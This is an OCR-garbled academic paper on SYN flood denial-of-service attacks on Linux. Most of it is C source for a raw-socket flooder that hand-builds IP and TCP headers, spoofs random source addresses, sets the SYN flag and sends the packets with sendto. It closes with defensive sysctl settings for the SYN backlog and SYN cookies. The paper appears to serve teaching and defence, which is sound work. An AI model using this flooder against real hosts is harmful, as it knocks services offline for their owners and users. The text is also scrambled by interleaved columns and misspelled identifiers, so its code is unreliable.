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Abstract SYN Flood is a typical attack of denial of service attack. Base on analyse the principle of which the implementation on Linux and de-
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2 1 ip—~ip _dst= addr—sin _ addr
’ /¥ 4 IPv4 20
int main int arge char * argv 5 0 1P 40 0 0
/ * TTL _ OUT 1P IPPROTO _
P */ TCP 0 1P 1P
struct sockaddr _ in addr addr P %/
/¥ sockaddr _ in sin _ family tcp—>th _ sport = htons 1500 / * 1500 * /
TCP AF _INET sin _ port tep—th _ dport = addr—=>port
16 sin _ addr P /% addr %/
*/ tep—tep _ seq = random /% */
struct hosttent * victim tep—>tep _ack=0 /* 0%/
tep~>th _off=5
bzero &addr sizeof addr /% TCP 4
/% 0%/ SYN 20 5%/
addr.sin _ family = AF _ INET tep—>th _ flags= TH_ SYN
. e.iddr. sin _ port = htons  atoi argy 2 /% TH SYN 0x02 SYN Ny
if inet _aton argv 1  &addr.sin_addr = =0 top—>th _ win = htons 2048
victim = gethostbyname argv 1 tep>th_sum=0
addr.sin _ addr= " struct in_addr®  "victim>h _addr _list 0 for' .
ip—>ip _ sre.s _ addr = random
/% inet _aton  gethostbyname /x */ L.
P %/ - pseudoheader. saddr. s _ addr = ip=ip _ src.s _ addr
sockfd = socket AF INET SOCK RAW 0 pseudoheader. daddr. s _ addr = addr—sin _ addr.s _ addr
/% P T pseudoheader . zero = 0
SYN 0 pseudoheader . procotol = 4
P %/ pseudoheader . length = sizeof struct tephdr
as TCP buf * /
setsockopt sockfd TPPROTO _IP TP _ HDRINCL &on sizeof on bzero buf sizeof buf
/% IP- memcpy buf & pseudoheader sizeof pseudoheader
HDRINCL P %/ memcpy buf + sizeof pseudoheader &tcp sizeof struct tephdr
setuid getpid /% SYN setuid /% checksum */
%/ tep—>th _ sum = checksum u _ short * &buf 12 + sizeof struct tephdr
send _ synflood sockfd &addr /7 P TCP sendbuf
/ % send _ synflood SYN %/ bzero sendbuf sizeof sendbuf
memcpy sendbuf & ip sizeof ip
memcpy sendbuf + sizeof ip &tep sizeof tep
2.2 SYN Send - Synﬂ00d sendto sockfd sendbuf len 0 addr sizeof struct sockaddr in
Send _ Synflood SYN
/¥ P P TCP
3 1P */
0 8 16 24 31
4 [ 5] 0 40 Send _ Synflood Checksum TCP
0 0
TTL_OUT | TPPROTO _ TCP 0 unsigned short checksum unsigned short * data unsigned short length
™ int nleft = length
P int sum = 0
unsigned short * w = data
1500 8080 unsigned short value = 0
while nleft > 1
0 sum + = * w++
5 ] | mH_syN 0 left — = 2
0
if nleft = =1
3 SYN * unsigned char *  &value = * unsigned char * w
void send _ synflood int sockfd ~struct sockaddr _ in *addr sum + = answer

char buf 40
struct ip *ip
struct tephdr *tep
struct pseudohdr /% */
struct in _ addr saddr
struct in _ addr daddr
u_ char zero

sendbuf 40

u _ char protocol
u _ short length
pseudoheader
len = sizeof struct ip + sizeof struct tephdr
ip~>ip_v=4
ip—ip _ hl = sizeof structip > >2
ip~>ip _tos=0
ip—ip _ len = htons len
ip—~ip_id=0
ip—~ip _off=0
ip—ip _rtl=TTL _ OUT
ip—~ip _ p=IPPROTO _ TCP

ip~>ip _sum=0

3

sum = sum > > 16 + sum & Oxffff
sum + = sum > > 16
value = ~ sum

return  value
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Linux 2.2
5 ACK
1 " ACK
# /sbin/sysctl-w net.ipv4. tcp _ max _ syn _ backlog = 1280 TCp
# echo 1280 > /proc/sys/net/ipv4/tcp _ max _ syn _ backlog
2 TCP SYN Cookies
# /sbin/sysctl-w net.ipv4. tep _ syn _ cookies = |
# echo 1> /proc/sys/net/ipv4/tcp _ syn _ cookies
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